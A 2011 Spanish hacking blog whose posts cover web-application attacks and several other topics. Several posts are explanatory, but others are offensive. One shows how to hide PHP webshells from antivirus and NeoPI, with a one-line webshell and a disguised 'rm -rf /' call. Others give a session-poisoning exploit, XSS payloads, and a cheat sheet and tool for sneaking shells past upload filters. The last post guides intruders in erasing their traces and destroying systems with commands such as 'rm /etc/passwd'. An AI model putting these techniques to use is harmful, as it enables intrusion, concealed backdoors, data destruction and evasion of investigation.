martes, 29 de noviembre de 2011

Megaupload y los DNS

  Parece que algunos que usamos ciertos DNS tenemos problemas con megaupload como vemos en noticias como:
->  http://www.fayerwayer.com/2011/11/confiscacion-de-dominio-vuelve-inaccesible-a-megaupload


 Una solución para esto es cambiar nuestros DNS por los de openDNS (por poner un ejemplo) con los que si que funciona:

208.67.222.222   /  208.67.220.220

La otra forma de acceder es no utilizar un servidor dns y acceder mediante IP. Veamos mediante que ips podemos acceder a megaupload:
[alpha@alpha-pc ~]$ nslookup www.megaupload.com
Server:        208.67.222.222
Address:    208.67.222.222#53

Non-authoritative answer:
Name:    www.megaupload.com
Address: 174.140.154.20
Name:    www.megaupload.com
Address: 174.140.154.21
Name:    www.megaupload.com
Address: 174.140.154.22
Name:    www.megaupload.com
Address: 174.140.154.23
Name:    www.megaupload.com
Address: 174.140.154.24
Name:    www.megaupload.com
Address: 174.140.154.12
Name:    www.megaupload.com
Address: 174.140.154.13
Name:    www.megaupload.com
Address: 174.140.154.14
Name:    www.megaupload.com
Address: 174.140.154.15
 Cualquiera de las ips mostradas con nslookup nos llevará a www.megaupload.com.

  Si ahora queremos acceder a un archivo, podemos hacerlo concatenando una de las IPs obtenidas antes junto con la url de megaupload quitando la parte de "www.megaupload.com".

  Con ejemplos se ve más claro:
Si tenemos la url -> http://www.megaupload.com/?d=ES4KXK52    
su equivalente seria -> http://174.140.154.15/?d=ES4KXK52
es decir ->  174.140.154.15 + http://www.megaupload.com/?d=ES4KXK52   
es
174.140.154.15/?d=ES4KXK52


  Con una de estas dos posibilidades podemos salir al paso y continuar teniendo acceder a megaupload mientras se soluciona este contratiempo.


Actualización:
  Como ha comentado un usuario en otro blog donde había publicado el post al pulsar el botón de descarga nos daba un error de que la pagina no existía. Esto sucede porque megaupload utiliza otra url para descargar los archivo, ahora veremos como lo solucionamos:

  Una vez nos aparezca el botón de descargar si ponemos el cursor sobre el veremos que la url cambia a www122.megaupload.com con lo al realizar un nslookup sobre la dirección vemos una ip distinta a las anteriores:

[alpha@alpha-pc ~]$ nslookup www122.megaupload.com
Server:        208.67.222.222
Address:    208.67.222.222#53

Non-authoritative answer:
Name:    www122.megaupload.com
Address: 95.211.95.67

  Con esta información pulsamos sobre el botón de descarga y nos saldrá un error, que siguiendo con el ejemplo anterior sería:

http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

entonces realizaremos el mismo proceso que antes:
Si tenemos la url -> http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf  

su equivalente seria -> http://95.211.95.67/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf  

es decir ->  95.211.95.67 +   http://www122.megaupload.com/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf

es

http://95.211.95.67/files/e8e9df0dca648bb1fca293c6af45b675/%23breaking80211.pdf


  Con todo esto ya deberíamos poder descargar sin problemas ;)


Un saludo
Aetsu
5 0verl0ad Labs: 2011   Parece que algunos que usamos ciertos DNS tenemos problemas con megaupload como vemos en noticias como: ->  http://www.fayerwayer.com/...

miércoles, 23 de noviembre de 2011

Paper #breaking80211

  Buenas, soy Aetsu y a partir de ahora escribiré, si mi tiempo me lo permite, algunos post sobre temas de seguridad, redes, GNU/Linux o programación.

  Solo queda agradecer a The X-C3LL que me permita participar en el blog y aquí os dejo mi último paper, #breaking80211:

#breaking80211

by Aetsu

 

--- Contenido ---
[+] Introducción

[+] Materiales/Herramientas utilizados

[+] Conceptos básicos
[-] Cambiar dirección MAC
[-] Modo monitor

[+] Cifrado WEP
[-] Ataque 1+3

[-] Ataque Chop Chop

[-] Ataque fragmentación

[-] Hirte Attack

[-] Caffe Late Attack

[+] Cifrado WPA
[-] Obteniendo el handshake

[-] Obteniendo la contraseña: Aircrack-ng

[-] Obteniendo la contraseña: coWPAtty

[-] Obteniendo la contraseña: Pyrit

[-] Obteniendo la contraseña: Rainbow Tables

[-] Rainbow Tables -> coWPAtty

[-] Rainbow Tables -> Pyrit

[+] Otras defensas
[-] Filtrado MAC

[-] Ataque de desasociación

[-] ESSID oculto

[+] Descifrar capturas
[-] Airdecap-ng + WEP

[-] Airdecap-ng + WPA

[+] Ataques sociales -- Creación de puntos de acceso
[-] Airbase-ng + brctl

[-] Airbase-ng + iptables

[+] Ataque sociales -- Ataques en LAN
[-] DNS-spoofing con Ettercap y Metasploit

[-] S.E.T.

[+] Ataques sociales -- Todo en uno
[-] Karmetasploit

[+] Documentación

  

[+]  Enlace a exploit-db:          -- DESCARGAR --

[+]  Enlace scribd:         -- LEER ON-LINE --

[+]  Enlace PacketStorm:         -- DESCARGAR --

   

 

Un saludo y hasta la próxima ;)

5 0verl0ad Labs: 2011   Buenas, soy Aetsu y a partir de ahora escribiré, si mi tiempo me lo permite, algunos post sobre temas de seguridad, redes, GNU/Linux o pr...

martes, 22 de noviembre de 2011

Indetectando webshells y backdoors


¡Saludos!

En los últimos años la cantidad de "defaces" se ha incrementado bastante, por lo que no es de extrañar que estén apareciendo cada vez más herramientas dedicadas a la detección de webshells y backdoors -como NeoPI-, que junto a los AVs, intentan limpiar los servidores.


La primera línea de detección de los AVs y las herramientas orientadas a WSD (WebShell Detection) está basada en firmas. Un método de detección bastante simple y extendido es el de uso de checksums a modo de firma, que consiste en comparar los hashes de los archivos del servidor con los existentes en una lista negra. En dicha lista se encuentran los checksums de backdoors y webshells de los que ya tienen constancia las compañías de AVs. Esta técnica de detección es fácilmente evadible, puesto que añadiendo un comentario en el source se modificaría radicalmente su checksum y ya no sería detectado.

La detección de firmas suele ir más allá, tratando de encontrar nombres de funciones declaradas dentro de la propia webshell, o incluso trozos de código que sean típico. Este método puede surtir efecto en aquellas shells "clásicas" (como la C99, por ejemplo) a partir de las cuales se han ido distribuyendo distintas versiones con pequeñas modificaciones del código, pero que en esencia las funciones propias siguen manteniendo los mismos nombres, o incluso grandes porciones del código, por lo que la detección es inmediata.


En estos casos lo más fácil para que pase desapercibida es modificar los nombres de todas las funciones, reordenar el código y alterar la sección del HTML que "maquetará" a la shell.

Por supuesto que el uso de listas negras de funciones sospechosas (como system, o base64_decode) es otro método clásico para detectar archivos maliciosos. Para utilizar estas funciones y pasar desapercibido podemos hacer uso de las funciones variables -cuando una variable tenga "()" al final, PHP buscará una función con el mismo nombre- :


$a = 'sys'.'tem';
$a('rm -rf /');


Incluso podemos ir más allá y tomar la función desde variables de tipo GET (u otras variables como user-agent y similares):


<?php
echo $_GET[2]($_GET[1]);
?>



Pero las herramientas de WSD no se quedan aquí, sino que también implementan otros conceptos curiosos para detectar shells ofuscadas. Un claro ejemplo es NeoPI, que busca dentro de los archivos cadenas largas de caracteres, puesto que son típicas de los códigos ofuscados. La idea en inicio es buena, pero yerra porque son varias las funciones que al pasarle un string eliminan los espacios que contenga. Un ejemplo es base64_decode: si le metemos una cadena en base64 donde cada pocos caracteres aparece un espacio, ésta va a ser leída perfectamente.


Además NeoPI también detecta archivos con una entropía muy alta, por lo que si añadimos espacios entre cada carácter de la cadena ofuscada con base64, la entropía descenderá y pasará desapercibido.


PD: el bypassing a NeoPI estan sacadas de este post de Seth donde podreis encontrar un ejemplo de una shell 100% invisible para esta herramienta.
5 0verl0ad Labs: 2011 ¡Saludos! En los últimos años la cantidad de "defaces" se ha incrementado bastante, por lo que no es de extrañar que estén a...

jueves, 20 de octubre de 2011

Trazabilidad de un usuario

¡Saludos!

El tema de la trazabilidad ha sido largamente discutido en los últimos años debido en parte a las polémicas con la geolocalización, las cookies de seguimiento procedentes de terceros, las supercookies con Local Storage (y en general todo lo que engloba el proyecto evercookie).



El funcionamiento genérico del seguimiento consiste en colocar en distintos dominios scripts que generen un identificador único para cada usuario que visita ese dominio, permitiendo que cuando este usuario visite otro dominio se le pueda reconocer perfectamente. Se puede ver en el siguiente esquema (Long live to Paint!):




1) El usuario visita una web, y al hacerlo se manda una petición a un tercero (empresa de seguimiento) el cual genera un identificador.

2) El identificador es almacenado de forma local en el usuario, en forma de cookie por ejemplo.

3) Cuando ese usuario visita otros dominios que están en relación con la empresa de seguimiento, éste le está enviando su identificación, por lo que pueden tener una relación de páginas visitadas, asiduidad, rutinas, etc. que podrá ser sometidas a un proceso de data mining.


Poco más o menos así es como funcionan en líneas generales. Hasta ahora los esfuerzos por identificar a un usuario para poder controlar sus rutinas han ido encaminados en buscar la permanencia del identificador dentro del navegador del usuario. Pero... ¿por qué no identificar los usuarios por las configuraciones de sus navegadores? Es decir, hacer fingerprinting al navegador para poder identificarlo de forma única.


Existe numerosa información que se puede extraer de un navegador y que sirve para poder cercar y trazar a un usuario en concreto. El idioma, la zona horaria, el user-agent, el SO... son claros ejemplos de datos que se pueden obtener fácilmente y que nos ayudarían a poder identificar el país desde el que se conecta esa persona. Además, cosas más triviales como las fuentes instaladas (dependiendo de qué programas hayamos instalado éstas variaran), la resolución de la pantalla, o los plug-ins activos también son útiles para reducir la incertidumbre.


Un proyecto muy interesante que aborda esta idea es PanoptiClick donde se realiza un análisis bastante exahustivo de las características de nuestro navegador:



Por supuesto que mucha de la información que emplea puede llegar a ser spoofeable, pero es muy complejo llegar a ocultar absolutamente toda esta info y no dejar huella alguna.
5 0verl0ad Labs: 2011 ¡Saludos! El tema de la trazabilidad ha sido largamente discutido en los últimos años debido en parte a las polémicas con la geolocaliz...

viernes, 14 de octubre de 2011

Variables Superglobales que deberías de vigilar (II)


¡Saludos!

Hoy vuelvo a escaparme de mi rutina universitaria para hablar un poco más de esas variables que cuando pueden ser vector de ataque. El otro día traté de escribir un poco sobre las variables superglobales $_SERVER[] , hoy vamos a hablar de $_SESSION[] y sus implicaciones en los servidores compartidos entre varios dominios.


$_SESSION es un array donde los programadores suelen incluir datos como las preferencias en la navegación del usuario (theme que usa, idioma, etc.) y que queda guardado en un archivo con el nombre "sess_%SESSION%", siendo session el identificador asignado a tu sesión (lo que habitualmente es enviado en la cookie, y que suele ser PHPSESSID).

Si la aplicación permite al usuario que navega asignar un valor a al array $_SESSION, éste podría incluir algún código malicioso que pudiese aprovechar alguna vulnerabilidad. Por ejemplo se podría utilizar para inyectar shells y explotar un LFI como ya publiqué hace años.


Es lógico pensar que si a este array no se le asignase ningún valor enviado por el usuario no existe la posibilidad de que inyecten código malicioso. Pero no tiene porqué ser así }:D


Los archivos que almacenan las variables asignadas a cada sesión en los dominios compartidos a veces podemos encontrarlos en un mismo directorio para todos esos dominios. Es decir, que un mismo directorio podemos encontrarnos con las sesiones del Dominio A, Dominio B, y del Dominio C. Esto es un gran problema (para el cual existen contramedidas, pero que son bypasseables -dejo un link al final bastante interesante sobre el tema-) puesto que se puede cambiar de sesiones entre los dominios.

De esta forma si alguien consigue tener un usuario en ese servidor podría llegar a spoofear las variables asignadas en otro dominio, o incluir en ellas código malicioso. El caso más común es el de buscar qué dominios están asignados al mismo servidor que el atacante quiere comprometer, tratar de comprometer uno de esos dominios vecinos y desde ahí lanzar el ataque.


Un pequeño PoC (sacado de haxxor security):
(esta sería la aplicación a atacar en el dominio A)
// Starting the session
session_start();

// ...

if(isset($_SESSION['theme']){
include('themes/'.$_SESSION['theme'].'.php');
}else{
include('themes/default.php');
}


Y este sería el exploit ejecutado en el dominio B:


// Inser your session id.
session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
// Start the session
session_start();
// Spoof a variable
$_SESSION['theme'] = '../../../../mallroy/public_html/shell';
// Close the session
session_write_close();



Para más info: Local Session Poisoning in PHP
5 0verl0ad Labs: 2011 ¡Saludos! Hoy vuelvo a escaparme de mi rutina universitaria para hablar un poco más de esas variables que cuando pueden ser vector de at...

domingo, 9 de octubre de 2011

Variables Superglobales que deberías vigilar (I)


Saludos,

Tengo el blog (y en general todo lo que es el internet) bastante abandonado por el tema de la universidad que me está absorbiendo demasiado. Aun así os pido disculpas y trataré de ir sacando algún que otro post rápido, como el de hoy.

Normalmente cuando un desarrollador crea una aplicación web en PHP, e intenta securizarla un poco, siempre aplica alguna clase de filtro a las variables que puedan ser manipuladas desde el lado del cliente. También los IDS hacen esto, analizando/filtrando aquellas variables que puedan ser manipuladas maliciosamente: $_GET, $_POST, $_COOKIE y $_REQUEST. Pero... ¿sólamente éstas son manipulables? La respuesta es NO. Existen otras variables que deberíamos de vigilar, como es el caso de $_SERVER y $_SESSION. Hoy veremos un poco de $_SERVER y el próximo día que pueda postear de $_SESSION.


$_SERVER es un array que contiene la información procedente de las cabeceras, así como la ruta de archivos. Los dos ejemplos más clásicos son los XSS (y SQLi) aplicados a PHP_SELF y X-FORWARDED-FOR. La primera variable hace referencia al script que se está ejecutando en relación con el directorio raíz, siendo explotable de esta forma por ejemplo:
www.ejemplo.com/<script>alert(/0verl0ad/)</script>


Por otro lado X-FORWARDED-FOR es utilizado por los proxys para indicar la IP de origen, por lo que suele tener interés para hacer spoofing, aunque últimamente con los sitios de estadísticas y de los que muestran tu propia IP y la geolocalizan, etc. suele emplearse más para inyectar código malicioso (JavaScript o inyecciones de otro tipo).


Al igual que con estas dos variables, existen otras tantas dentro del array de $_SERVER que pueden ser explotadas si son empleadas en el script sin sanitizarlas previamente:


<?php
echo $_SERVER['SERVER_PROTOCOL'];
?>

Si lanzamos una petición corrompida:


GET /p.php <script>alert(8)</script>
Host: ------

HTTP/1.1 200 OK
Date: Sun, 09 Oct 2011 10:59:52 GMT
Server: Apache/2.2.17 (Win32) PHP/5.3.6
X-Powered-By: PHP/5.3.6
Content-Length: 25
Connection: close
Content-Type: text/html

<script>alert(8)</script>



Ya sé que tiene poca chicha esta entrada, espero que la de $_SESSIONS sea más relevante.
5 0verl0ad Labs: 2011 Saludos, Tengo el blog (y en general todo lo que es el internet) bastante abandonado por el tema de la universidad que me está absorbien...

miércoles, 21 de septiembre de 2011

Parches para SMF

¡Saludos!

Esta noche al conectarme a twitter me he encontrado con un enlace a una publicación de DaboWeb anunciando parches de seguridad para SMF. Echando un ojo al changelog aparece la vulnerabilidad que habíamos reportado por Julio, y que tras ninguna respuesta liberemos en el blog SMF 2.0 Hijacking. Ahora, casi 3 meses después, lo han reparado, por lo que ya no lo consideraemos como un 0-day.

Gracias a los desarrolladores de SMF que se han entretenido en subsanar esta vulnerabilidad, puesto que no ha sido la primera vez que (por lo menos por mi parte) hemos reportado algun fallo de seguridad y nos han ignorado totalmente.

Y por supuesto gracias a Seth, que descubrió otro vector para explotar la vulnerabilidad (y codeó el exploit).
5 0verl0ad Labs: 2011 ¡Saludos! Esta noche al conectarme a twitter me he encontrado con un enlace a una publicación de DaboWeb anunciando parches de segurida...

martes, 20 de septiembre de 2011

HTML5 [VI]: Drag'n'Drop attacks



¡Saludos!

El otro día publiqué las slides de Rosario Valotta sobre el "CookieJacking". En la presentación utilizaba la técnica de Drag'n'Drop para que la víctima enviase la cookie al atacante, asi que hoy voy a hacer un post explicando cómo funciona este vector.


¿Qué es Drag'n'Drop? Cuando nos referimos a este vocablo hacemos referencia a aquellos mecanismos de arrastrar un objeto y dejarlo en otro punto (p.e. cuando arrastramos un icono del escritorio y lo colocamos en otro punto). Actualmente con HTML5 se ha incluido esta función, siendo fácil su implementación:


<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','Test Drag and Drop');">
<h1>Test Drag and Drop</h1>
</div>
<br><input type="text" />


Si lo testeais, podreis comprobar que el texto "Test Drag and Drop" se puede coger con el ratón y ser arrastrado hasta el input, que al ser soltado el ratón, quedará rellenado con ese texto. Pero no siempre lo que creemos arrastrar es lo que realmente arrastramos };D


<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','¡Odio Twitter');">
<h1>¡Me gusta Twitter!</h1>
</div>
<br><input type="text" />


Como podeis ver pese a que creemos que estamos arrastrando el texto "¡Me gusta Twitter!", en realidad lo que arrastramos es "¡Odio Twitter!". De esta forma un usuario común pasaría por alto el engaño, sin percatarse de lo que ocurre. Esto es útil en el momento de ocultar el ataque, puesto que puede usarse otros pretextos más atractivos (como juegos atractivos, o puzzles con ¡TETAS!, nunca fallan) para que el usuario haga Drag'n'Drop (no debemos perder de vista de que es necesaria la interacción directa por parte del usuario).


Pero lo interesante de este vector no es esto, lo interesante es la posibilidad de bypassear SOP (Same Policy Origin). En síntesis SOP implica que los scripts ejecutados desde el lado del navegador (como JavaScript, por ejemplo) se apliquen únicamente al dominio de origen y no a otros, por lo que es bastante importante desde el punto de vista de la seguridad. La solución para evitar las restricciones SOP es utilizar un iframe, y hacer que el usuario haga "drop" sobre éste:


<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','0verl0ad.blogspot.com');">
<h1>Proof of Concept</h1>
</div>
<iframe src="http://google.com">
</iframe>


El texto "0verl0ad.blogspot.com" es mandado al iframe que apunta a Google, y se ejecuta la búsqueda.

En definitiva este puede ser un vector interesante para explotar determinadas vulnerabilidades, como ya lo demostró Rosario Valotta y 0-day de IE. El problema que tiene esta técnica es la necesidad de interacción por parte del usuario (como cualquier otro ataque de clickjacking) y ello conlleva a tratar de camuflar los exploits en forma de aplicaciones atractivas, como juegos o puzzles, para que el usuario haga Drag'n'Drop
5 0verl0ad Labs: 2011 ¡Saludos! El otro día publiqué las slides de Rosario Valotta sobre el "CookieJacking". En la presentación utilizaba la técni...

sábado, 17 de septiembre de 2011

Retos SQLi

Saludos,

Nuestro compañero Seth ha habilitado una web de prácticas vulnerable a SQLi. Existen diferentes niveles de dificultad, por lo que casi todo el mundo podría resolver al menos uno de ellos.

Si quereis intentarlo aquí os dejo la web => ¡¡Practica inyecciones SQL!!
5 0verl0ad Labs: 2011 Saludos, Nuestro compañero Seth ha habilitado una web de prácticas vulnerable a SQLi. Existen diferentes niveles de dificultad, por lo qu...

jueves, 15 de septiembre de 2011

Cookiejacking, 0-day de IE y Rosario Valotta

Saludos,

Hacía ya tiempo le estaba siguiendo el rastro a este tema, el del cookiejacking (robo , o "apropiación" como diría Grey, de cookies de sesión a través de UI Redressing), a partir de un enlace de Rosario Valotta que me mandó Seth en Mayo o Junio, no recuerdo bien, donde hablaba del 0-day de IE y su explotación mediante Drag-and-drop. El caso es que me he encontrado con la presentación que hizo en la Swiss Cyber Storm de este año y me ha encantando por varios motivos, entre el que destaco la imaginación e ingenio que aplica para ir sorteando cada obstáculo con el que se encuentra.


Presentación PDF => https://www.hacking-lab.com/nina/?wicket:interface=:1:articleContainer:downloadContainer:filelink::ILinkListener::

Video de la presentación => http://www.youtube.com/watch?v=VsSkcnIFCxM
5 0verl0ad Labs: 2011 Saludos, Hacía ya tiempo le estaba siguiendo el rastro a este tema, el del cookiejacking (robo , o "apropiación" como diría Gre...

domingo, 11 de septiembre de 2011

HTML5 [V]: Autofocus + onblur = Phising (Tabnapping)



Saludos,

Estuve echando un ojo al episodio 8 de MundoHackerTV cuando me encontré con un PoC en el cual usaban para averiguar qué páginas habían sido visitados algo que ya comenté hace un par de años, CSS History Hack. Este ataque los navegadores modernos ya lo bloquean, por lo que me da la sensación de que en esa demostración utilizaban algún navegador desactualizado. He intentado diferentes ideas para tratar de averiguar si un enlace había sido visitado, como la que menciono en el link que he dejado más arriba no pude hacerla funcionar intenté usar JavaScript para detectar un cambio de color en el link usando getComputerStyle pero tampoco resultó: al sacar el RGB de todos los links siempre tenía el mismo color, fuese o no visitado (aunque al visualizarlo en el navegador tuvieran diferentes colores), por lo que deduzco que discriminar entre visitado/no visitado es imposible actualmente Si alguien tiene info actualizada que deje un comentario.


Mencioné al principio la demostración de MundoHackerTV, pero no he explicado en qué consistía. La idea era entrar a una web, y al cambiar de pestaña en el navegador, esta web hiciera una redirección hacia un scamer de alguna web en que el usuario suela visitar (de ahí lo del CSS Hack History). La idea es que ciertas webs se suelen mantener abiertas, como las redes sociales, mientras que estamos navegando por otras pestañas. Al haber varias pestañas, existe la posibilidad de que el usuario se confunda y crea que el scam es la web original y deja allí sus datos. Para entenderlo mejor echad un vistazo al capitulo.

El PoC más simple que se me ha ocurrido (omitiendo la parte en que detecta si ha visitado facebook, que ya he explicado porqué no la he incluido) es el siguiente:


<script>
var pag ="http://www.google.com";
function redireccionar(){

location.href=pag;
}

</script>
<input type="text" onblur="redireccionar();" autofocus>


Para detectar si el usuario ha cambiado de pestaña usamos el evento onblur, que se disparará cuando se piera el foco en el elemento input. Al cambiar de pestaña, se pierde el foco y se disparará la redirección (en este caso google.com). Además, para que todo funcione, utilizo autofocus en el input, ya que de esta forma el foco se colocará directamente en el input y no hará falta de que el usuario haga click en él.


Me han informado via twitter de que esta técnica de phising se la denomina "tabnapping", asi que edito el título del post.
5 0verl0ad Labs: 2011 Saludos, Estuve echando un ojo al episodio 8 de MundoHackerTV cuando me encontré con un PoC en el cual usaban para averiguar qué págin...

lunes, 29 de agosto de 2011

0verBypass.pl : herramienta para auditar uploaders

Saludos!

Hace un par de días escribí un post, a modo de chuleta, para tener reunidas las técnicas más comunes para poder saltarse las restricciones de los uploaders, y de esta forma poder subir archivos con extensiones no permitidas (como PHP por ejemplo). En ese mismo post Seth me comentó que hiciera alguna herramienta que automatizara un poco esto, asi que me puse a codear algo para auditar. La herramienta está todavía pendiente de perfeccionarse, ya que tengo pensado añadir más opciones (por ahora sólo puede testear de 5 formas diferentes, que son suficientes pero cuantas más añada mejor), y además quiero permitir la subida de una shell desde un archivo.


El código se puede depurar bastante, aunque usando subrutinas he conseguido simplificar bastante el primer esbozo que había hecho, asi que admito sugerencias para simplificarlo aun más.

Source de la herramienta [Click Aquí]

Quiero aclarar que, además de las 5 técnicas para realizar el bypass que puedes seleccionar, subo los archivos con las extensiones alternando en mayúsculas/minúsculas (para saltar filtros case sensitive con listas negras de palabras) y intento camuflar la shell como una imagen .gif añadiendo al inicio el header GIF89a y poniendo como Content-Type image/gif.

5 0verl0ad Labs: 2011 Saludos! Hace un par de días escribí un post, a modo de chuleta , para tener reunidas las técnicas más comunes para poder saltarse las ...

viernes, 26 de agosto de 2011

Insecure Cookie Handling




Saludos!

El manejo de las cookies de forma insegura es algo muchisimo más común de lo que se piensa. Cuando hablo de "manejo inseguro" me refiero tanto a que las cookies pueden contener una información sensible en sí misma, o que las aplicaciones web utilizan las cookies sin tomar en cuenta aspectos básicos de seguridad.

El caso más conocido por todos es el de las cookies predecibles, como lo son Admin=1, usr=admin, User=1, etc. Normalmente las aplicaciones vulnerables suelen contar con un checkeo de la cookie bastante rudimentario basado en una simple comparación tipo:
if ( isset($_COOKIE['id']) && $_COOKIE['id'] == 1 )


Suponiendo que ese código fuese la comprobación de seguridad para acceder al panel de administración, podemos ver que podría bypassearse creando una cookie llamada id y de valor 1. En otros casos no es tan fácil de darse cuenta de que es un manejo inseguro porque el valor de la cookie está "camuflado"

En estos casos lo que requiere la explotación es tener imaginación y hacer pruebas hasta encontrar un patrón:


...
$cookie = $usuario . rand(0,10);
$cookie = base64_encode($cookie);
...


En este caso la cookie aparecería en base64 y además variaría por los números random generados, pero como podemos darnos cuenta hay muy poca entropía, por lo que sería fácil dar con una cookie existente y usurpar a un usuario.


Pero este fallo de seguridad no sólo puede utilizarse para escalar privilegios sino que también puede aparecer en otros sitios, como tiendas online, por poner un ejemplo, donde el precio de los productos adquiridos queden almacenados en la cookie y después use esos datos para realizar la factura (puede sonar rocambolesco pero os aseguro que por ahí ví el reporte de una vulnerabilidad similar).

Para realizar un ataque de fuerza bruta con atributos y valores de cookies well-known y tratar de escalar de esta forma privilegios Seth codeó una herramienta en JavaScript para GreasyMonkey que podeis ver aquí: CHPMEGAC00KIEH4X . Actualmente si quereis echar una mano con su proyecto podeis mandarle más pares atributo/valor de cookies para que las añada al diccionario.
5 0verl0ad Labs: 2011 Saludos! El manejo de las cookies de forma insegura es algo muchisimo más común de lo que se piensa. Cuando hablo de "manejo...

jueves, 25 de agosto de 2011

CheatSheet to bypass uploaders

1. Escribir la extensión del archivo alternando mayúsculas/minúsculas (.pHp, .PHp, .pHP...)
2. Uso de extensiones menos conocidas (.php5..)
3. Doble extensión (.jpeg.php)
4. Mandar una cabecera HTTP con el MIME type modificado por uno que admita (image/gif, image/JPEG)
5. Incluir al inicio del archivo la cabecera de una extensión permitida (GIF89a)
6. Añadir al final del nombre del archivo espacios y/o puntos (shell.php ... ......)
7. Usar null bytes
8. Incluir caracteres extraños (";", "&", "[" => shell.php;jpeg)
9. Bypass getimagesize() => Incluir la shell dentro de los metadatos de una imagen real (usando 0verLFI) y después modificar el MIME type
10. Abuso de la normalización de rutas (shell.php/./././[...])
11. Subida de un .htaccess que cambie las extensiones de los archivos ( ForceType application/x-httpd-php )

Estas son las que se me vienen ahora a la cabeza, si a alguien se le ocurre alguna más que la postee en los comentarios.
5 0verl0ad Labs: 2011 1. Escribir la extensión del archivo alternando mayúsculas/minúsculas (.pHp, .PHp, .pHP...) 2. Uso de extensiones menos conocidas (.php5..)...

PHP File Path Injection

Saludos,

Ya había leído algo de esto por Twitter y quería haber escrito algo pero se me pasó. Hoy he estado echando un ojo por Security Focus y lo he vuelto a encontrar así que me dispongo a explicar brevemente de que se trata.


La vulnerabilidad (CVE-2011-2202) permite a un atacante crear archivos en root (/) al realizar la subida de un archivo en cualquier directorio. Esto es debido a que en PHP permite que el nombre de los archivos empiecen por / o \. De esta forma es posible subir un archivo poniendo como filename /loquesea. Por supuesto que es necesario primero tener los permisos de escritura adecuados.

El exploit es tan simple como subir el archivo con la respectiva "/" o "\". Las versiones afectadas son =<5.3.6
5 0verl0ad Labs: 2011 Saludos, Ya había leído algo de esto por Twitter y quería haber escrito algo pero se me pasó. Hoy he estado echando un ojo por Security...

lunes, 22 de agosto de 2011

HTML5 [IV]: Local Storage y las cookies zombis (o supercookies)

Saludos!

Empiezo a escribir este post haciendo tiempo para que empiece Mundo Hacker TV (aunque lo terminaré después del programa), lo recomiendo si no haces nada más interesante a estas horas (quien me diría a mí que alguna vez promocionaría algo emitido por Telecinco).

En otra ocasión, hace apenas unos meses, ya comenté algo sobre las cookies zombis, hablando bastante someramente de qué se trataba y recomiendé la API para JavaScript "Evercookie". Ahora vuelvo a retomar el tema porque recientemente ha saltado la liebre con las cookies de seguimiento zombis que usaban KissMetrics y Hulu (no voy a entrar en detalles, hay cientos de webs hablando del caso). A esto se le suma toda la parafernalia de HTML5 y la seguridad, cosa que me está gustando bastante indagar (gracias a Seth y a @Franjoespejo que me están cebando a publicaciones interesantes).


Entrando ya en materia quizás lo primero que debemos de saber es... ¿Qué diablos es eso de Local Storage que han metido con HTML5? Pues la respuesta es sencilla: almacenar información desde el lado del cliente para agilizar la carga de páginas y similares. Presenta ciertas ventajas sobre las cookies de toda la vida, como pueda ser sus 5 Mb de capacidad de almacenamiento, o el tiempo de permanencia.

El concepto base de las cookies zombis es poder respawnear la cookie, utilizando información almacenada en el cliente. De esta forma, en el caso de las empresas de tracking por ejemplo, pueden asignar un identificador a un usuario (una cookie HTTP) para realizar estudios de comportamiento, y además guardar "copias" de dicho identificador en el ordenador del usuario. Cuando el usuario borre la cookie, ésta volvera a ser creada utilizando como molde las copias escondidas. Creo que se entenderá mejor con una sencilla prueba de concepto:


<----Web_original.html------->

<script>
localStorage.setItem("Foo", "Foo=0verl0ad;expires=Thu, 2 Aug 2020 20:47:11 UTC;");
document.cookie = localStorage.getItem("Foo");
</script>


<----Respawner.html----->

<script>
document.cookie = localStorage.getItem("Foo");
alert(document.cookie);
</script>


Primero entramos en Web_Original.html, vemos en nuestro navegador (el PoC lo he ejecutado en Firefox 6.0, si a alguien no le funca que lo ponga en los comentarios) que la cookie se ha creado, y procedemos a borrarla. Ahora vayamos a Respawner.html y... ¡Tachan! ¡Ha vuelto a la vida!

Nuestro primer archivo HTML hace dos cosas: por un lado crea la cookie, y por otro crea una copia valiéndose de Local Storage. Después, cuando borramos la cookie y vamos a Respawner.html volvemos a crear la cookie con la copia que ya teníamos almacenada. Esto mismo pero almacenando la información en muchos más sitios es lo que hacía evercookie.

Ahora bien, el cómo implementan este concepto las grandes empresas de seguimiento es algo que descozco y que supongo que cada empresa mantendrá esto en secreto. En líneas generales supongo que cada vez que se entre en un sitio controlado por una de estas empresas se comprobará si existe una cookie, de no existir se buscará entre el registro de Local Storage para respawnearla, y si tampoco hay nada allí crearán una de nuevo.


Está claro que Local Storage va a traer más de un quebradero de cabeza al unirse con otras técnicas como puedan ser XSS o SQLi, pero es tema para otro post.

PD: entre unas cosas y otras he terminado a las 5:50 am, probáblemente haya metido la pata en alguna parte, si es así avisadme.
5 0verl0ad Labs: 2011 Saludos! Empiezo a escribir este post haciendo tiempo para que empiece Mundo Hacker TV (aunque lo terminaré después del programa), lo r...

viernes, 19 de agosto de 2011

Eliminación de huellas

Existen tantos tipos de huellas, como tipos de ataques realizados.

Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pueden cojer.

Para entrar a robar a una casa, puede tirarse la puerta a patadas, utilizar una palanca (Fuerza Bruta), Ganzuas... En el primer caso hay que recomponer la puerta, en el seguro repararla, en el tercero, deshacerse de las ganzuas.
Esto no implica que no queden otros rastros.

Existen muchos tipos de herramientas, backdoors, sniffers para capturar datos, logs de acceso de Apache u otros servicios (daemons)...

Muchos "Hackers" se limitan a eliminar los access_logs del apache, destruir webshells y backdoors, y root exploit's (Lo cual olvidé en mi último relato, por lo que supieron de la actividad, aunque no conocen su autor), y la cosa no es así.

Si creamos un usuario, no bastaría con eliminar la cuenta... ¿Cómo creaste el usuario? ¿Mediante comandos?

El fin de esta guía no es realizar el ataque perfecto, sino más bien una orientación.
Existen multitud de herramientas, tales como Zappers que afirman eliminar todo rastro... Cuando esto no es así.

Daremos un repaso por los medios más utilizados.

A) Destrucción del sistema
A-1) Esto ocurre cuando la evidencia es tal, que no queda otro remedio.

La forma más común, almenos en mi caso, seria inhabilitar el login, y causar un tal destrozo que el único medio sea la destrucción total o parcial. He aquí algunos comandos de interés:
rm /etc/passwd
